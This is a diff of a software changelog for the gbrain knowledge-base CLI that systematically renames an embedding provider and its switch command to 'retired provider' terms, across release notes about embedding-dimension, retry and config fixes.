-If you had a brain with image content embedded via Voyage multimodal-3 (1024 dims) and you switched the TEXT embedding model from OpenAI (1536 dims) to ZeroEntropy (1280 dims), the ze-switch transition would silently rewrite the `embedding_image` column to 1280 dims too. Voyage then could not write into it. Image search just stopped returning results. No error. No log line. The column was the wrong shape.
+If you had a brain with image content embedded via Voyage multimodal-3 (1024 dims) and you switched the TEXT embedding model from OpenAI (1536 dims) to retired hosted provider (1280 dims), the retired-provider-switch transition would silently rewrite the `embedding_image` column to 1280 dims too. Voyage then could not write into it. Image search just stopped returning results. No error. No log line. The column was the wrong shape.
The fix carves the multimodal columns (`embedding_image` and `embedding_multimodal`) out of the schema transition entirely. Only the primary text `embedding` column moves to the new dim. The HNSW index on `embedding_image` is rebuilt to keep the search path warm, but the column type is preserved.
@@ -14285,17 +14385,17 @@ To take advantage of v0.41.12.0:
gbrain upgrade
```
-No manual action needed. If you already ran `gbrain ze-switch` on a brain with image embeddings before this fix landed and your image search has been broken since, restore by re-embedding the image content (`gbrain embed --stale` or rerun your multimodal ingest path).
+No manual action needed. If you already ran `gbrain retired-provider-switch` on a brain with image embeddings before this fix landed and your image search has been broken since, restore by re-embedding the image content (`gbrain embed --stale` or rerun your multimodal ingest path).
### Itemized changes
#### Fixed
-- `gbrain ze-switch` preserves `embedding_image` and `embedding_multimodal` column dimensions during schema transition. Pre-fix, both columns were dropped and recreated at the new text-embedding target dim, breaking the multimodal provider's writes. Cherry-picked from community PR #1443 (originally authored by `@garrytan-agents`).
-- `idx_chunks_embedding_image` is recreated with the canonical `WHERE embedding_image IS NOT NULL` partial-index predicate (matches `src/schema.sql:258-260`). Without it, ze-switch silently turned a sparse partial index into a full HNSW index, wasting space proportional to total chunk count on brains with few image chunks.
+- `gbrain retired-provider-switch` preserves `embedding_image` and `embedding_multimodal` column dimensions during schema transition. Pre-fix, both columns were dropped and recreated at the new text-embedding target dim, breaking the multimodal provider's writes. Cherry-picked from community PR #1443 (originally authored by `@garrytan-agents`).
+- `idx_chunks_embedding_image` is recreated with the canonical `WHERE embedding_image IS NOT NULL` partial-index predicate (matches `src/schema.sql:258-260`). Without it, retired-provider-switch silently turned a sparse partial index into a full HNSW index, wasting space proportional to total chunk count on brains with few image chunks.
- `runSchemaTransition`'s `information_schema.columns` probe now scopes by `table_schema = 'public'` so the EXISTS check can't false-positive against same-named tables in other schemas.
#### Added
-- Three regression tests in `test/retrieval-upgrade-planner.test.ts` pinning the multimodal-column preservation invariant: dim is still `vector(1024)` post-switch on both `embedding_image` and `embedding_multimodal`, the partial WHERE clause survives the index recreation, and the EXISTS guard short-circuits cleanly on fresh brains that lack the column.
+- Three regression tests in `test/historical-provider-migration-planner.test.ts` pinning the multimodal-column preservation invariant: dim is still `vector(1024)` post-switch on both `embedding_image` and `embedding_multimodal`, the partial WHERE clause survives the index recreation, and the EXISTS guard short-circuits cleanly on fresh brains that lack the column.
### For contributors
@@ -14537,7 +14637,7 @@ If you see unexpected behavior or the doctor check stays in WARN after a run, fi
**Background sweeps stop silently losing rows, `dream.*` config you set actually reaches the cycle, and switching embedding providers won't quietly corrupt your brain when env vars override the switch.** Three production reliability fixes landed in one wave, rebuilt from three closed community PRs (#1414, #1416, #1421 from `@garrytan-agents`) with structural improvements from `/plan-eng-review` + codex outside-voice review.
-You can now configure `dream.synthesize.session_corpus_dir` (and 6 other dream.* keys) via `gbrain config set` and have it actually reach the cycle phase that reads it. Pre-fix the cycle silently skipped with "no transcripts to process" even though the config wrote successfully to the DB. The `extract` and `sync` commands now retry batched inserts once on transient PgBouncer connection drops instead of losing the whole batch — closes a ~30% data-loss rate observed on 96K-page brains during heavy cycles. And `gbrain ze-switch` now refuses to start a schema transition when `GBRAIN_EMBEDDING_MODEL` is pinned to a model that disagrees with the target, instead of silently corrupting 716K chunks the way the original incident did.
+You can now configure `dream.synthesize.session_corpus_dir` (and 6 other dream.* keys) via `gbrain config set` and have it actually reach the cycle phase that reads it. Pre-fix the cycle silently skipped with "no transcripts to process" even though the config wrote successfully to the DB. The `extract` and `sync` commands now retry batched inserts once on transient PgBouncer connection drops instead of losing the whole batch — closes a ~30% data-loss rate observed on 96K-page brains during heavy cycles. And `gbrain retired-provider-switch` now refuses to start a schema transition when `GBRAIN_EMBEDDING_MODEL` is pinned to a model that disagrees with the target, instead of silently corrupting 716K chunks the way the original incident did.
To turn it on: `gbrain upgrade`.
@@ -14549,15 +14649,15 @@ What you'd see in a concrete example.
- **Before:** Run `gbrain extract all` on a brain hitting PgBouncer pool recycles. ~30% of batched inserts throw "No database connection: connect() has not been called" and silently drop 100 rows each — visible in stderr but easy to miss in a long run.
- **After:** Same setup, transient connection errors trigger one 500ms retry. Stderr shows `[extract.links_fs] connection blip, retrying 100 rows in 500ms (Connection terminated unexpectedly)` and the retry succeeds. Snapshot-before-clear contract means the retry sends the same data even if the producer wrote more during the delay.
-- **Before:** `GBRAIN_EMBEDDING_MODEL=openai:text-embedding-3-large gbrain ze-switch --non-interactive --force`. Schema migrates to 2560-dim ZE columns. Embed sweep reads env, embeds with OpenAI's 1536-dim model, writes 1536d vectors into 2560d columns. Brain corrupts.
+- **Before:** `GBRAIN_EMBEDDING_MODEL=openai:text-embedding-3-large gbrain retired-provider-switch --non-interactive --force`. Schema migrates to 2560-dim retired provider columns. Embed sweep reads env, embeds with OpenAI's 1536-dim model, writes 1536d vectors into 2560d columns. Brain corrupts.
- **After:** Same command refuses pre-apply with an ASCII warning box: schema not mutated, paste-ready `unset GBRAIN_EMBEDDING_MODEL` command surfaced. Apply with `--ignore-env-override` if you really mean it. The gate fires on `--resume` too, so there's no bypass path.
Things to know about. **(1)** Idempotency upgrade for `extract_atoms`. The phase now checks "do any atoms already exist for this content hash?" before calling Haiku, replacing the date-stamped slug that caused duplicate atoms when re-discovered on a new day. Page-side and transcript-side both covered. Re-running the cycle on unchanged content produces zero new atoms; the original incident is closed. **(2)** Known limitation: if Haiku writes atom 1 of 3 then atom 2 throws, source-hash filter sees atom 1 exists and skips on next discovery — atoms 2+3 stay missing until content changes. Documented in TODOS.md as a v0.42+ per-atom idempotency follow-up. Rare in practice. **(3)** A new `embedding_env_override` doctor check runs every doctor pass: surfaces when `GBRAIN_EMBEDDING_MODEL` / `GBRAIN_EMBEDDING_DIMENSIONS` disagree with DB config so users see the drift before the embed sweep corrupts vectors. Wired into both local doctor and the HTTP MCP doctor surface.
What we caught and fixed before merging. Codex outside-voice review caught 10 real correctness gaps in the plan:
- `extract-atoms` was calling `engine.putPage(slug, page)` without sourceId — on non-default brain sources, atoms always wrote to `default` and the NOT EXISTS idempotency check became ineffective. Fixed: sourceId threaded through every putPage call.
-- The original `ze-switch` env-gate placement (post-apply warning) would have shipped the same 716K-chunk damage class. Fixed: gate fires BEFORE the snapshot write at line ~294, not just before runSchemaTransition at ~304. Test asserts ZERO setConfig calls fire on a refused apply.
-- `resumeRetrievalUpgrade` would have been a bypass path. Fixed: same gate on resume.
+- The original `retired-provider-switch` env-gate placement (post-apply warning) would have shipped the same 716K-chunk damage class. Fixed: gate fires BEFORE the snapshot write at line ~294, not just before runSchemaTransition at ~304. Test asserts ZERO setConfig calls fire on a refused apply.
+- `resumeHistoricalProviderMigration` would have been a bypass path. Fixed: same gate on resume.
- Discovery SQL would have crashed on pages with NULL content_hash. Fixed: `AND p.content_hash IS NOT NULL` filter added.
- Discovery would have chewed its own dream-generated output. Fixed: `AND COALESCE(p.frontmatter->>'dream_generated', '') <> 'true'` filter.
- cycle.ts was passing `affectedSlugs = syncPagesAffected` only, missing pages just-written by the synthesize phase in the same cycle. Fixed: union of sync + synthesize affected slugs.
@@ -14591,14 +14691,14 @@ What we caught and fixed before merging. Codex outside-voice review caught 10 re
- `PhaseResult.details` extended with additive fields: `pages_processed`, `pages_total`, `pages_skipped_budget`, `duplicates_skipped`. All existing fields preserved (regression-tested).
- `cycle.ts` passes union of `syncPagesAffected + synthesizeWrittenSlugs` as `affectedSlugs` to `runPhaseExtractAtoms`.
-**Phase 4: ze-switch pre-apply + pre-resume env-override gate (`src/core/retrieval-upgrade-planner.ts`, `src/commands/ze-switch.ts`, `src/core/retrieval-upgrade-prompt.ts`)**
+**Phase 4: retired-provider-switch pre-apply + pre-resume env-override gate (`src/core/historical-provider-migration-planner.ts`, `src/commands/retired-provider-switch.ts`, `src/core/historical-provider-migration-prompt.ts`)**
- New pure exports `detectEnvOverride(targetModel, targetDim, env?)` and `formatEnvOverrideWarning(warning)`. ASCII box (no Unicode per repo D10), line width ≤78 cols, includes paste-ready `unset` command.
- `ApplyResult` tagged union extended with `{status: 'refused', reason: 'env_override', warning}` variant. `ApplyOpts` interface adds `ignoreEnvOverride?: boolean`.
-- Gate fires FIRST in `applyRetrievalUpgrade` — BEFORE `setConfig(KEY_PREVIOUS_SNAPSHOT)`, BEFORE `runSchemaTransition`. Zero side effects on refusal. Pinned by test that asserts ZERO setConfig calls fire on refused apply.
-- Same gate fires FIRST in `resumeRetrievalUpgrade`. No bypass path.
+- Gate fires FIRST in `applyHistoricalProviderMigration` — BEFORE `setConfig(KEY_PREVIOUS_SNAPSHOT)`, BEFORE `runSchemaTransition`. Zero side effects on refusal. Pinned by test that asserts ZERO setConfig calls fire on refused apply.
+- Same gate fires FIRST in `resumeHistoricalProviderMigration`. No bypass path.
- CLI flag `--ignore-env-override` mirrors the existing `--ignore-missing-key` precedent. Loud stderr line when set.
-- Planner stays data-pure — returns the warning struct; CLI handles rendering. Interactive prompt path (`runRetrievalUpgradePrompt`) also handles the new variant gracefully.
+- Planner stays data-pure — returns the warning struct; CLI handles rendering. Interactive prompt path (`runHistoricalProviderMigrationPrompt`) also handles the new variant gracefully.
**Phase 5: doctor `embedding_env_override` check (`src/commands/doctor.ts`)**
@@ -14610,7 +14710,7 @@ What we caught and fixed before merging. Codex outside-voice review caught 10 re
- New `test/extract-batch-retry.test.ts` (16 cases) — withRetry primitive, GBrainError shape recognition, logBatchRetry, snapshot-mutation regression contract.
- New `test/extract-atoms-page-discovery.test.ts` (17 cases, PGLite) — discovery SQL filters, NOT EXISTS idempotency, dual-source merge, transcript-side idempotency, sourceId threading.
-- New `test/ze-switch-env-override.test.ts` (17 cases, PGLite + withEnv) — pure helpers, applyRetrievalUpgrade integration with engine-setConfig-spy ZERO-mutation assertion, resumeRetrievalUpgrade parity.
+- New `test/retired-provider-switch-env-override.test.ts` (17 cases, PGLite + withEnv) — pure helpers, applyHistoricalProviderMigration integration with engine-setConfig-spy ZERO-mutation assertion, resumeHistoricalProviderMigration parity.
- New `test/doctor-embedding-env-override.test.ts` (7 cases, PGLite + withEnv) — all status branches + cross-surface parity source-grep.
- New `test/e2e/extract-atoms-discovery-sql.test.ts` (4 cases, real Postgres) — D10 reversal: validates ANY($::text[]) + JSONB ->> + NOT EXISTS + substring through `postgres.unsafe` against real PG.
- Extended `test/cycle/extract-atoms-synthesize-concepts.test.ts` — `_pages: []` added to all existing cases + 1 critical regression case (legacy PhaseResult.details fields byte-identical to v0.41.2.0 transcript-only path).
@@ -14634,8 +14734,8 @@ warns about a partial migration:
gbrain config get dream.synthesize.session_corpus_dir
# should print /tmp/test, not the file-plane default
- # ze-switch env-override gate
- GBRAIN_EMBEDDING_MODEL=openai:text-embedding-3-large gbrain ze-switch --non-interactive --force
+ # retired-provider-switch env-override gate
+ GBRAIN_EMBEDDING_MODEL=openai:text-embedding-3-large gbrain retired-provider-switch --non-interactive --force
# should refuse with the ASCII warning box, NOT mutate schema
# doctor surfaces env disagreement
@@ -15083,7 +15183,7 @@ gbrain config set models.dream.synthesize_verdict deepseek:deepseek-chat
### What's safe to know about
-- **Voyage/Google brains relying on `gbrain config set voyage_api_key` (no env var):** `gbrain doctor --remediation-plan` is now strict about which provider's key it checks. If you set the key via `gbrain config set` (not env), the remediation planner sees it as not-yet-configured because those config keys aren't threaded to the gateway yet. Workaround: set the env var (`VOYAGE_API_KEY=...`, `GOOGLE_GENERATIVE_AI_API_KEY=...`). This is honest about a real gap — the previous behavior silently passed because of a wide-net fallback that accepted any OpenAI/ZE key.
+- **Voyage/Google brains relying on `gbrain config set voyage_api_key` (no env var):** `gbrain doctor --remediation-plan` is now strict about which provider's key it checks. If you set the key via `gbrain config set` (not env), the remediation planner sees it as not-yet-configured because those config keys aren't threaded to the gateway yet. Workaround: set the env var (`VOYAGE_API_KEY=...`, `GOOGLE_GENERATIVE_AI_API_KEY=...`). This is honest about a real gap — the previous behavior silently passed because of a wide-net fallback that accepted any OpenAI/retired provider key.
- **Dream synthesize verdict model change:** if you had `dream.synthesize.verdict_model` set (deprecated key), it'll keep working via the legacy fallback. The canonical key is now `models.dream.synthesize_verdict`.
- **The new CI guard `scripts/check-gateway-routed-no-direct-anthropic.sh`** prevents `synthesize.ts` and `think/index.ts` from regressing back to `new Anthropic()`. Type-only imports stay allowed (the adapter needs `Anthropic.Message` as a type).
@@ -15096,10 +15196,10 @@ gbrain config set models.dream.synthesize_verdict deepseek:deepseek-chat
- `FREE_LOCAL_EMBED_PROVIDERS = {ollama, llama-server}` joins existing `FREE_LOCAL_RERANK_PROVIDERS` in `src/core/budget/budget-tracker.ts`. `--max-cost`-bounded embed/reindex jobs no longer hard-fail TX2 on local providers. `lmstudio` deliberately excluded (no recipe); `litellm` excluded (proxy can front paid).
- New `probeEmbeddingReachability()` in `src/commands/models.ts` mirrors `probeRerankerReachability` — a 1-input embed with 5s abort timeout, new `embedding_reachability` touchpoint, gated on the zero-network config probe returning `ok` first.
-**Local reranker via llama.cpp (was: ZeroEntropy-hosted only):**
+**Local reranker via llama.cpp (was: retired hosted provider-hosted only):**
- New recipe `llama-server-reranker` at `src/core/ai/recipes/llama-server-reranker.ts`. Distinct from `llama-server` (embedding) because llama.cpp's `--reranking` and `--embeddings` flags are mutually exclusive at launch — one process per mode, two recipes, two base URLs. Default port 8081 vs 8080.
-- `RerankerTouchpoint.path?: string` + `default_timeout_ms?: number` in `src/core/ai/types.ts`. Absent on ZE's recipe → behavior there unchanged. New recipe declares `path: '/rerank'` (concat with `/v1` base URL → `…/v1/rerank`) and `default_timeout_ms: 30000` (CPU-cold-start headroom).
+- `RerankerTouchpoint.path?: string` + `default_timeout_ms?: number` in `src/core/ai/types.ts`. Absent on retired provider's recipe → behavior there unchanged. New recipe declares `path: '/rerank'` (concat with `/v1` base URL → `…/v1/rerank`) and `default_timeout_ms: 30000` (CPU-cold-start headroom).
- `src/core/search/mode.ts` reranker-timeout precedence: per-call > config > recipe `default_timeout_ms` > mode bundle. Closes the dead-default-timeout class.
- `src/cli.ts` env passthrough: `LLAMA_SERVER_RERANKER_BASE_URL` → `provider_base_urls.llama-server-reranker`. Sibling of `LLAMA_SERVER_BASE_URL`.
- `resolveLiveRerankerModel(engine)` + `resolveLiveRerankerTimeoutMs(engine)` in `src/commands/models.ts` so probe and live search read the SAME config (closes file-plane / DB-plane divergence). Probe's `getRerankerModel()` was reading `GBrainConfig.reranker_model` — a file-plane field nothing writes; live search read the DB plane via `loadSearchModeConfig`.
@@ -16262,7 +16362,7 @@ gbrain mounts disable team-brain-id # toggle off without removing
| `balanced` (default) | title-only prefix | $0 (string concat) | $0 (current text-embedding-3 calls reused) |
| `tokenmax` | per-chunk Haiku synopsis | $0 (one-time only) | ~$1-5 per 10K pages, ~17h at Anthropic's default Haiku rate limit |
-The wrapper is asymmetric: chunks get the context prefix when going into the embed call, but queries stay clean. Voyage + ZeroEntropy distinguish `inputType: 'query'` from `'document'` natively, so this works correctly; OpenAI symmetric users still benefit from document-side orientation.
+The wrapper is asymmetric: chunks get the context prefix when going into the embed call, but queries stay clean. Voyage + retired hosted provider distinguish `inputType: 'query'` from `'document'` natively, so this works correctly; OpenAI symmetric users still benefit from document-side orientation.
### What you'd see in a concrete example
@@ -17233,7 +17333,7 @@ What you'd see when picking providers:
| google:gemini-1.5-pro | Yes | No | 1M-token context; good for big-context agents |
| openrouter:* | Yes | Depends on underlying | The cost-arbitrage path |
| openai-compatible (Ollama, LiteLLM, vLLM, llama-server) | If the model supports tools | No | Refused-at-submit when the model lacks tool calling |
-| voyage, zeroentropy | No chat touchpoint | n/a | Embeddings only — refused with a clear hint |
+| voyage, retired-provider | No chat touchpoint | n/a | Embeddings only — refused with a clear hint |
`gbrain doctor` warns when your subagent tier resolves to a degraded provider (no prompt caching = higher cost) and refuses to dispatch when the provider doesn't support tool calling at all. The check is `subagent_capability` (was `subagent_provider`).
@@ -17565,7 +17665,7 @@ warns about a partial migration:
**Fresh `gbrain init --pglite` works out of the box now.**
-Before this release a brand-new install was broken: `gbrain init --pglite` made a brain whose schema didn't match what the embed pipeline actually used, so the first `gbrain embed --stale` failed every page with a vector dimension error. The default model the gateway shipped (ZeroEntropy at 1280 dimensions) and the default column the schema created (OpenAI's 1536) silently disagreed, and every documented escape hatch was also broken: `gbrain config set embedding_model X` wrote to a database table the embed pipeline doesn't read, the doctor remediation hint pointed at that no-op command, and the docs prescribed `ALTER COLUMN TYPE vector(N)` which fails on PGLite because pgvector ships as embedded WASM. The user spent an hour in source code to figure out you had to hand-edit `~/.gbrain/config.json` after init — completely undocumented. This release closes the bug class end-to-end.
+Before this release a brand-new install was broken: `gbrain init --pglite` made a brain whose schema didn't match what the embed pipeline actually used, so the first `gbrain embed --stale` failed every page with a vector dimension error. The default model the gateway shipped (retired hosted provider at 1280 dimensions) and the default column the schema created (OpenAI's 1536) silently disagreed, and every documented escape hatch was also broken: `gbrain config set embedding_model X` wrote to a database table the embed pipeline doesn't read, the doctor remediation hint pointed at that no-op command, and the docs prescribed `ALTER COLUMN TYPE vector(N)` which fails on PGLite because pgvector ships as embedded WASM. The user spent an hour in source code to figure out you had to hand-edit `~/.gbrain/config.json` after init — completely undocumented. This release closes the bug class end-to-end.
### How to upgrade
@@ -17573,29 +17673,29 @@ Before this release a brand-new install was broken: `gbrain init --pglite` made
gbrain upgrade
# Already on a 1536-d brain that works? You don't have to do anything.
# Starting fresh or wanting to switch models? Use the new one-liner:
-gbrain reinit-pglite --embedding-model zeroentropyai:zembed-1 --embedding-dimensions 1280
+gbrain reinit-pglite --embedding-model retired-provider:retired-embedding-1 --embedding-dimensions 1280
```
### What's new for everyone
-- **`gbrain init --pglite` produces a vector(1280) schema by default** that matches the embed model the gateway actually uses. Embedding succeeds on the first call. Init prints the resolved choice up front so you see what shipped: `Embedding: zeroentropyai:zembed-1 (1280d) [default]`.
+- **`gbrain init --pglite` produces a vector(1280) schema by default** that matches the embed model the gateway actually uses. Embedding succeeds on the first call. Init prints the resolved choice up front so you see what shipped: `Embedding: retired-provider:retired-embedding-1 (1280d) [default]`.
- **`gbrain reinit-pglite --embedding-model X --embedding-dimensions N`** — single-command wipe-and-reinit for switching providers on PGLite. Backs up the brain to `.bak`, runs init with the new flags, re-syncs the brain repo. `--no-sync` to defer the resync, `--yes` to skip the TTY confirmation, `--json` for scripts.
- **`gbrain init` re-run no longer destroys your settings.** Existing `~/.gbrain/config.json` fields are merged on top of new init flags, so re-running with no args preserves `embedding_model`, `chat_model`, API keys, and every other field you set.
- **`gbrain sync --help` actually documents `--no-embed` now.** The flag has existed for releases but was unreachable through `--help` because sync wasn't wired into the dispatcher's self-help set.
- **`gbrain config set embedding_model X` refuses with the right recipe.** That command wrote to the DB plane while the embed pipeline read the file plane, so it silently lied for releases. It now exits 1 with a paste-ready wipe-and-reinit recipe pointing at the engine you're actually running on (`gbrain reinit-pglite` on PGLite, the `ALTER COLUMN` SQL recipe on Postgres). No `--force` escape — keeping the no-op write path was the original footgun.
-- **ZeroEntropy API key plumbing works.** Before this release the embed pipeline only mapped `OPENAI_API_KEY` and `ANTHROPIC_API_KEY` from your config into the gateway env, so `zeroentropy_api_key` in `~/.gbrain/config.json` was dead config. Now it propagates correctly. `ZEROENTROPY_API_KEY` env var also routes through.
+- **retired hosted provider API key plumbing works.** Before this release the embed pipeline only mapped `OPENAI_API_KEY` and `ANTHROPIC_API_KEY` from your config into the gateway env, so `retired-provider_api_key` in `~/.gbrain/config.json` was dead config. Now it propagates correctly. `RETIRED_PROVIDER_API_KEY` env var also routes through.
- **`gbrain embed --stale` fails fast with a paste-ready recipe** when the schema column and the gateway disagree. Pre-fix the worker pool would fire 20 parallel API calls into dim-rejected inserts and surface only the raw Postgres error. Now you see the wipe-and-reinit recipe before any embed call goes out.
- **`gbrain sync` surfaces the recipe + `--no-embed` tip** when its inline embed step hits a dim mismatch. Previously the sync step silently swallowed embed errors at two different catch sites. Both sites now print the recipe.
-- **`gbrain doctor` reads the embed checks from the gateway, not the DB plane.** The width-consistency and ZE-key checks were stale on fresh installs whose DB rows hadn't been written yet. They now see what the embed pipeline sees. Provider-aware key detection too: a ZE brain no longer looks "healthy" because `OPENAI_API_KEY` happens to be set.
+- **`gbrain doctor` reads the embed checks from the gateway, not the DB plane.** The width-consistency and retired provider-key checks were stale on fresh installs whose DB rows hadn't been written yet. They now see what the embed pipeline sees. Provider-aware key detection too: a retired provider brain no longer looks "healthy" because `OPENAI_API_KEY` happens to be set.
### What's new for contributors
-- **New `src/core/ai/defaults.ts` leaf module** is the canonical source for `DEFAULT_EMBEDDING_MODEL` and `DEFAULT_EMBEDDING_DIMENSIONS`. Eight other places used to hardcode `'text-embedding-3-large'` / `1536` independently — those are all migrated to import from defaults.ts. Changing the default in one place now propagates correctly. Includes the PGLite + Postgres engine fallbacks, both `getPGLiteSchema()` / `getPostgresSchema()` default args, the embedding-column registry's builtin row, the chunk-row INSERT default, and the schema seed (which previously stripped the provider prefix and stored bare `zembed-1` instead of `zeroentropyai:zembed-1`).
+- **New `src/core/ai/defaults.ts` leaf module** is the canonical source for `DEFAULT_EMBEDDING_MODEL` and `DEFAULT_EMBEDDING_DIMENSIONS`. Eight other places used to hardcode `'text-embedding-3-large'` / `1536` independently — those are all migrated to import from defaults.ts. Changing the default in one place now propagates correctly. Includes the PGLite + Postgres engine fallbacks, both `getPGLiteSchema()` / `getPostgresSchema()` default args, the embedding-column registry's builtin row, the chunk-row INSERT default, and the schema seed (which previously stripped the provider prefix and stored bare `retired-embedding-1` instead of `retired-provider:retired-embedding-1`).
- **New `loadConfigFileOnly()` in `src/core/config.ts`** is the safe write-back source for `gbrain init` 's config merge. Pre-fix init called `loadConfig()` (which merges env vars + infers engine from `DATABASE_URL`) to read existing config before saving — so any transient env value would get baked into `~/.gbrain/config.json`. The new helper reads the JSON file only.
- **`embeddingMismatchMessage()` takes an `engineKind` argument now.** PGLite branch emits the new `gbrain reinit-pglite` recipe; Postgres branch keeps the SQL ALTER. The `databasePath` arg lets the recipe use the brain's actual path instead of `~/.gbrain/brain.pglite` (honors `GBRAIN_HOME`, `--path` overrides).
- **`EmbeddingDimMismatchError` is a tagged class exported from `src/commands/embed.ts`.** `runEmbedCore` pre-flights via the existing `readContentChunksEmbeddingDim` helper and throws this error before the worker pool starts. Sync catches it specifically for the recipe + `--no-embed` tip.
-- **CDX2-5+6 from codex review:** the ZE key fix v1 landed in the wrong file (`gateway.ts:configureGateway` instead of `cli.ts:buildGatewayConfig`). Round 2 caught + fixed it. Pinning regression at `test/v0_37_fix_wave.test.ts`'s Lane C.3 describe.
-- **30+ unit tests + 1 in-process E2E** cover every lane. Highlights: `test/v0_37_fix_wave.test.ts` (structural lane assertions), `test/v0_37_gap_fill.test.ts` (end-to-end behavior + reinit-pglite contracts), `test/e2e/fresh-install-pglite.test.ts` (headline scenario via `__setEmbedTransportForTests` mock). The legacy `test/embedding-dim-check.test.ts` and `test/doctor-ze-checks.test.ts` and `test/search/embedding-column.test.ts` are also updated for the new behaviors.
+- **CDX2-5+6 from codex review:** the retired provider key fix v1 landed in the wrong file (`gateway.ts:configureGateway` instead of `cli.ts:buildGatewayConfig`). Round 2 caught + fixed it. Pinning regression at `test/v0_37_fix_wave.test.ts`'s Lane C.3 describe.
+- **30+ unit tests + 1 in-process E2E** cover every lane. Highlights: `test/v0_37_fix_wave.test.ts` (structural lane assertions), `test/v0_37_gap_fill.test.ts` (end-to-end behavior + reinit-pglite contracts), `test/e2e/fresh-install-pglite.test.ts` (headline scenario via `__setEmbedTransportForTests` mock). The legacy `test/embedding-dim-check.test.ts` and `test/historical-provider-doctor-checks.test.ts` and `test/search/embedding-column.test.ts` are also updated for the new behaviors.
- **`bunfig.toml` preload** at `test/helpers/legacy-embedding-preload.ts` configures the gateway to OpenAI/1536 once per shard process, so the 20+ test files that hardcode `new Float32Array(1536)` fixtures keep working without per-file edits.
- 26 codex outside-voice findings across two review rounds folded into the plan before code landed. Plan file: `~/.claude/plans/system-instruction-you-are-working-piped-mitten.md`.
@@ -17614,11 +17714,11 @@ Filed in TODOS.md:
1. **Confirm everything's in order:**
```bash
gbrain doctor
- # Expect: embedding_width_consistency ok, ze_embedding_health ok
+ # Expect: embedding_width_consistency ok, retired_provider_embedding_health ok
```
2. **If you want to switch embedding models on PGLite (now or in the future):**
```bash
- gbrain reinit-pglite --embedding-model zeroentropyai:zembed-1 --embedding-dimensions 1280
+ gbrain reinit-pglite --embedding-model retired-provider:retired-embedding-1 --embedding-dimensions 1280
```
3. **If `gbrain doctor` flags a width mismatch,** the message now includes a paste-ready recipe for your specific engine kind (PGLite or Postgres). Run it.
4. **If any step fails,** please file an issue at https://github.com/garrytan/gbrain/issues with the output of `gbrain doctor`.
@@ -17643,14 +17743,14 @@ What you'd see in concrete scenarios:
| Scenario | Before v0.37.10.0 | After |
|---|---|---|
-| `OPENAI_API_KEY` set, run `init --pglite` | Silent ZE 1280d default, schema becomes `vector(1536)`, first import explodes | Auto-picks `openai:text-embedding-3-large` (1536d), config persisted, import succeeds |
-| `OPENAI_API_KEY` + `VOYAGE_API_KEY` both set | Same silent ZE default | Interactive picker fires, user chooses |
+| `OPENAI_API_KEY` set, run `init --pglite` | Silent retired provider 1280d default, schema becomes `vector(1536)`, first import explodes | Auto-picks `openai:text-embedding-3-large` (1536d), config persisted, import succeeds |
+| `OPENAI_API_KEY` + `VOYAGE_API_KEY` both set | Same silent retired provider default | Interactive picker fires, user chooses |
| No keys, non-TTY (Docker `RUN`) | Silent broken state | Exit 1 with paste-ready `export OPENAI_API_KEY=...` hint |
| `OPENAPI_API_KEY=sk-…` (typo) | Silent broken state | Exit 1 + "did you mean OPENAI_API_KEY?" suggestion |
| `--embedding-dimensions 9999` (invalid) | Silently created broken schema, exploded at first embed | Preflight rejects BEFORE any disk write |
| `gbrain config set embedding.provider openai` | Silently accepted, no-op | Exit 1, suggests `embedding_model`. `--force` overrides with stderr WARN |
-If you upgrade and `gbrain doctor` warns about a silent-default v0.36 install (vector(1536) column + empty config), it now prints the exact repair command. For an empty brain, that's `gbrain init --force --embedding-model <id>`. For a populated brain, `gbrain retrieval-upgrade --to <id> --reindex`. You should never need `rm -rf ~/.gbrain` again.
+If you upgrade and `gbrain doctor` warns about a silent-default v0.36 install (vector(1536) column + empty config), it now prints the exact repair command. For an empty brain, that's `gbrain init --force --embedding-model <id>`. For a populated brain, `gbrain historical-provider-migration --to <id> --reindex`. You should never need `rm -rf ~/.gbrain` again.
Things to watch:
@@ -17661,7 +17761,7 @@ Things to watch:
### Itemized changes
- **`src/core/levenshtein.ts`** (NEW) — small ~50-line `editDistance(a, b)` + `suggestNearest(input, candidates, maxDistance)` helper. Used by `gbrain config set` for "did you mean?" suggestions and by init for env-var typo detection.
-- **`src/core/embedding-dim-check.ts`** — three new pure functions: `resolveSchemaEmbeddingDim(opts)` and `resolveSchemaMultimodalDim(opts)` validate the resolved dim against recipe's `default_dims` plus per-provider Matryoshka allow-lists (OpenAI text-3, Voyage flexible-dim models, ZeroEntropy zembed-1) BEFORE any DB write; `EmbeddingDisabledError` + `assertEmbeddingEnabled(cfg)` guard the deferred-setup runtime path. New `PGVECTOR_COLUMN_MAX_DIMS = 16000` exported constant.
+- **`src/core/embedding-dim-check.ts`** — three new pure functions: `resolveSchemaEmbeddingDim(opts)` and `resolveSchemaMultimodalDim(opts)` validate the resolved dim against recipe's `default_dims` plus per-provider Matryoshka allow-lists (OpenAI text-3, Voyage flexible-dim models, retired hosted provider retired-embedding-1) BEFORE any DB write; `EmbeddingDisabledError` + `assertEmbeddingEnabled(cfg)` guard the deferred-setup runtime path. New `PGVECTOR_COLUMN_MAX_DIMS = 16000` exported constant.
- **`src/commands/init-provider-picker.ts`** (NEW) — interactive picker mirroring `init-mode-picker.ts`. Filters candidate recipes to env-ready ones, prompts via `readLineSafe`, surfaces the subagent-Anthropic caveat when picking a non-Anthropic chat-capable recipe without `ANTHROPIC_API_KEY` set. Exports `printSubagentAnthropicCaveat(write)` for reuse from `initPGLite` and `initPostgres` so the post-init auto-pick path also surfaces it.
- **`src/commands/init.ts:resolveAIOptions`** — rewritten with a per-touchpoint env-detection tier. Precedence: explicit flag → shorthand → env auto-pick (group by provider id, codex finding #2) → picker (TTY) or fail-loud (non-TTY). Each touchpoint (embedding / expansion / chat) resolves independently. New `--no-embedding` opt-in flag for D9 deferred-setup mode. Exported `groupReadyByProvider(touchpoint, env)` + `findEnvKeyTypos(env)` for unit testing.
- **`src/commands/init.ts:initPGLite` + `initPostgres`** — drop the conditional `configureGateway` gate so the schema substitution and runtime gateway use one resolved dim. Preflight `resolveSchemaEmbeddingDim` BEFORE `engine.initSchema()` — invalid dim refuses with paste-ready hint, no disk write. Atomic config persist (either resolved tuple or `embedding_disabled: true` sentinel, never partial). Post-init invariant assertion stays as regression guardrail. Subagent caveat fires post-init for both auto-pick + picker paths when chat_model is non-Anthropic AND `ANTHROPIC_API_KEY` is missing.
@@ -17669,7 +17769,7 @@ Things to watch:
